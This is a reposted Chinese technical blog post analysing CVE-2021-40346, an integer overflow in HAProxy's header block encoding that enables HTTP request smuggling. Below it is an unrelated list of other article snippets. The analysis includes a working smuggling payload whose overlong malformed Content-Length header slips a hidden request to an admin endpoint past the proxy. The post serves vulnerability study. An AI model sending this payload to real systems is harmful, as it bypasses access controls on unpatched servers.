HAProxy走私漏洞

news2025/1/18 4:48:15

HAProxy走私漏洞

JFrog安全研究团队发布了一个HAProxy的严重漏洞的信息。HAProxy是一个使用C语言编写的自由及开放源代码软件,其提供高可用性、负载均衡,以及基于TCP和HTTP的应用程序代理。
参考文章:https://jfrog.com/blog/critical-vulnerability-in-haproxy-cve-2021-40346-integer-overflow-enables-http-smuggling/

HAProxy

  • CVE-2021-40346
  • 整数溢出漏洞
  • 小于:2.0.25、2.2.17、2.3.14 、2.4.4
  • 源码:https://github.com/haproxy/haproxy
  • 溢出点分析:https://github.com/haproxy/haproxy/blob/v2.5-dev4/include/haproxy/htx.h#L475
  • 参考文章:https://forum.butian.net/share/694
  • 危害:绕过安全控制,包括 HAProxy 中定义的任何 ACL

分析

逻辑1:取body长度

初始化body长度
https://github.com/haproxy/haproxy/blob/v2.5-dev4/src/h1.c#1113
在这里插入图片描述

这里直接取得header头的content-length的值。

逻辑2:重复的content-length被丢弃

https://github.com/haproxy/haproxy/blob/v2.5-dev4/src/h1.c#848
在这里插入图片描述

https://github.com/haproxy/haproxy/blob/v2.5-dev4/src/h1.c#75
在这里插入图片描述

逻辑3:整体请求处理块状保存

这一步是处理header头,为了得到blk->info如下结构

blk->info += (value.len << 8) + name.len;

前4位:0000 -》type
中间20位:0000 0000 0000 0000 0000 -》value (1 MB max)
后8位:0000 0000 -》key length (header/trailer - 256B max)

从空间大小来看
key的长度最多只能有8位无符号数,也就是只能表示0-255
value长度是20位无符号数,也就是0-1048575

举例

Content-Length:12

经过块状保存
去掉:并保存字符串:blk->data=Content-Length12
保存长度:blk->info=00100000000000000000001000001110
key长度:00001110=14
value长度:00000000000000000010=2
根据blk->info就能将blk->data里的key-value取出来。

溢出分析

如果key的长度超过8位,则势必也影响value的长度。
这里的逻辑是32位保存了header头,如果存在溢出,则有可能在取出块状结构体的时候和初始化的取值有差异。例如从这里取出content-length=0,但初始化取出的是60。那么最终发出来的效果就是

POST /index.html HTTP/1.1
Host: abc.com
Content-Length: 0

GET /admin/add_user.py HTTP/1.1
Host: abc.com
abc: xyz

下面就来看这块溢出如何影响取值。
payload

POST /index.html HTTP/1.1
Host: abc.com
Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:
Content-Length: 60

对于Content-Length0a...a:这个key-value,key长度是270,value长度是0
最终上面32位块结构就会变成

00100000000000000000000100001110

溢出之后效果就是代码认为,此时的
key长度是00001110=14
value长度是00000000000000000001=1
那么从这一行来看Content-Length0a...aa
14位刚好取到Content-Length
1刚好去到0
则最终解析出来就是content-length=0
哪怕再往下解析,得到content-length=60,
又因为逻辑2导致后面的content-length=60被丢弃。
逻辑1又决定了body是60。
所以就得到了这样的请求

POST /index.html HTTP/1.1
Host: abc.com
Content-Length: 0

GET /admin/add_user.py HTTP/1.1
Host: abc.com
abc: xyz

后端接收到这样的请求,因为第一个postcontent-length是0,所以认为body里面是第二个请求。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/93520.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

虚拟生产、交付、体验,元宇宙技术对供应链的深远影响#低碳生活

#背景自新冠肺炎疫情爆发以来&#xff0c;元宇宙增长速度加快&#xff0c;也推动了对远程工作工具的前所未有的需求。目前全球元宇宙市场估值高于 1000 亿美元&#xff0c;据预计&#xff0c;到 2029 年&#xff0c;预计年均增长 47 %&#xff0c;达到 15270 亿美元。#改造供应…

【DevOps实战系列】第三章:详解Maven仓库及环境搭建

个人亲自录制全套DevOps系列实战教程 &#xff1a;手把手教你玩转DevOps全栈技术 Maven私有仓库&#xff0c;就不多说了&#xff0c;我们这里选用最新的Nexus3的3.17版本&#xff0c;平时公司使用的都是Nexus 2.x,新的3.x版本做了很多的升级&#xff0c;包括存储方式等&#xf…

self.eval_net.forward(state)和self.eval_net.forward(state)区别

在根据状态获取一个动作&#xff1a;self.eval_net.forward(state) 在更新网络时&#xff1a;self.eval_net(state) 这2个有什么区别呀&#xff0c;为啥不都是forward 我打印了一下返回值的时候&#xff0c;我感觉格式是一样的 action_value tensor([[0.7177, 0.7369, 0.7124,…

amfori BSCI行为守则(2021)最新版-2023年生效

【amfori BSCI行为守则(2021)最新版-2023年生效】 amfori BSCI 商界社会责任倡议&#xff08;Business Social Compliance Initiative, BSCI&#xff09;是一套国际通用的企业社会责任管理工具和验厂标准。amfori BSCI 颁布行为守则&#xff08;Code of Conduct&#xff09;&am…

十大编程语言黑客向,学会一个不怕没工作,全部学会随便秀操作

首先文章并不是鼓励大家去成为黑客&#xff0c;毕竟这个用在错误的地方&#xff0c;您最终可能需要尝试牢狱之灾。因为有很多的编程语言我也不是很懂&#xff0c;所以借鉴了一些专业人员的看法。当然他们不是黑客。然后下面给大家大概的介绍下其中十个吧。下期为您介绍剩下的几…

非地面无线通信网络的增强技术

【摘 要】通过增强基础地面网络,使之与星载或空载网络融合,可将地面通信网络应用推广到覆盖范围更广的非地面通信网络。分析非地面网络超大传输时延、多普勒效应、小区移动等通信条件对无线通信接口设计的影响,从标准化角度分析同步过程、定时关系、HARQ、波束管理与极化方…

C语言之文件操作

个人主页&#xff1a;平行线也会相交 欢迎 点赞&#x1f44d; 收藏✨ 留言✉ 加关注&#x1f493;本文由 平行线也会相交 原创 收录于专栏【C/C】 目录文件的打开和关闭文件打开"r""w"注意有一个小细节文件的顺序读写字符输入输出函数fgetc和fputcfputcfg…

转轮除湿机空调系统运行时的故障排查SICOLAB

在现代科技不断发展的过程中&#xff0c;除湿技术已经应用到各个行业&#xff0c;尤其是在进行除湿空调系统设计时&#xff0c;因为相关系统的性能更加稳定且除湿量比较大、使用寿命更长、使用的设备比较简单&#xff0c;所以可以实现湿度的有效控制。 转轮除湿机空调系统在运…

【快速学习系列】SpringMVC的使用、传递参数(request、session、对象、集合...)及显示风格

【快速学习系列】SpringMVC的使用、传递参数&#xff08;request、session、对象、集合…&#xff09;及显示风格 SpringMVC扮演的角色就相当于Servlet的角色 Spring MVC框架特点 清晰地角色划分 灵活的配置功能 提供了大量的控制器接口和实现类 真正做到与View层的实现无关&…

手把手系列:如何将小程序游戏引入自有APP?(Android篇)

在上一期的手把手系列中为大家分享了&#xff1a;如何在iOS中引入FinClip SDK&#xff0c;并将小程序游戏运行到自有App 中。点击查看&#xff1a;&#x1f449;手把手系列&#xff1a;如何将小程序游戏引入自有APP&#xff1f;&#xff08;iOS篇&#xff09; 本周继续分享如何…

如何学习 Linux 内核网络协议栈

【推荐阅读】 深入linux内核架构--进程&线程 了解Docker 依赖的linux内核技术 怎么在Windows下使用Makefile文件 浅析linux内核网络协议栈--linux bridge 深入理解SR-IOV和IO虚拟化 协议栈的细节 下面将介绍一些内核网络协议栈中常常涉及到的概念. sk_buff 内核显…

Springboot集成Flyway(适用于多数据源)

1. Flyway 可以将初始化sql在项目启动时候执行&#xff0c;取代单独的DBN更新包 2. 依赖 <dependency><groupId>org.flywaydb</groupId><artifactId>flyway-core</artifactId><version>5.2.1</version> </dependency> 3. …

动作捕捉技术中分辨率和频率的重要性

对于光学动作捕捉设备来说&#xff0c;其核心产品——光学动作捕捉镜头&#xff0c;分为多种不同规格参数&#xff0c;本文将介绍其中影响光学动作捕捉设备效果的两个重要参数&#xff1a;分辨率与频率。 分辨率&#xff1a; 被捕捉的反光标记点在镜头画面中以像素形式呈现&a…

【JavaWeb】JSONAJAXi18n

文章目录一.JSON的使用1.在JavaScript中的使用2.在java中的使用二.AJAX请求1.AJAX请求2.原生AJAX请求实例3.jQuery中的AJAX请求三.i18n1.概念2.国际化三要素3.国际化资源properties测试4.实现国际化JSON是一种轻量级的数据交换格式,易于人们阅读和编写,同时也易于机器解析和生成…

2022年网络安全比赛--压缩包文件暴力破解中职组(超详细)

2022年比赛压缩包文件暴力破解解析 一、竞赛时间 180分钟 共计3小时 二、竞赛阶段 竞赛阶段 任务阶段 竞赛任务 竞赛时间 分值 1.通过本地PC中渗透测试平台Kali使用Nmap扫描目标靶机服务版本信息,将 Telnet 版本信息字符串作为 Flag 提交; 2. 通过本地PC中渗透测试平台Kali对…

Odoo 16 企业版手册 - 采购之代发货

代发货(直运) 待发货方式是不打算保留库存的供应商可用的便捷运输方式之一。此方法将允许您将产品直接从供应商运送到客户。这对零售商更有利&#xff0c;因为交货直接从供应商到客户&#xff0c;没有必要保留仓库。直接发货方法将帮助您直接从供应商或制造商将产品运送给客户&…

设计模式概述之抽象工厂模式(三)

上次咱们说了工厂方法模式&#xff0c;不知道各位同学掌握了没有。今天咱们说说“抽象工厂模式”。 抽象工厂&#xff08;AbstractFactory&#xff09;模式的定义&#xff1a;是一种为访问类提供一个创建一组相关或相互依赖对象的接口&#xff0c;且访问类无须指定所要产品的具…

计算机网络——CSMA-CA协议

CSMA-CD协议是对碰撞的检测&#xff0c;CSMA-CA协议是对碰撞的避免 CSMA-CD和CSMA-CA应用场景不一样&#xff0c;CSMA-CA协议主要用于无线局域网&#xff0c;CSMA-CD应用与总线式以太网。 无线局域网用CSMA-CD协议无法做到360检测碰撞 隐蔽站&#xff1a;A和C都检测不到信号&am…

Oracle---视图

Oracle之视图和物化视图 文章目录Oracle之视图和物化视图视图优点创建视图带检查约束视图只读视图创建带错误的视图删除视图查询视图物化视图&#xff08;实体化视图&#xff09;区别和优点创建物化视图创建手动刷新的物化视图执行下列语句刷新创建自动刷新的物化视图创建时不生…

Java日志框架简介

一、java日志发展线路图 上面涵盖了java世界里主要的日志框架或门面 二、日志门面和框架的区别 日志框架技术 JUL、Logback、Log4j、Log4j2 用来方便有效地记录日志信息 日志门面技术 JCL、SLF4j 为什么要使用日志门面技术&#xff1a; 每一种日志框架都有自己单独的API&am…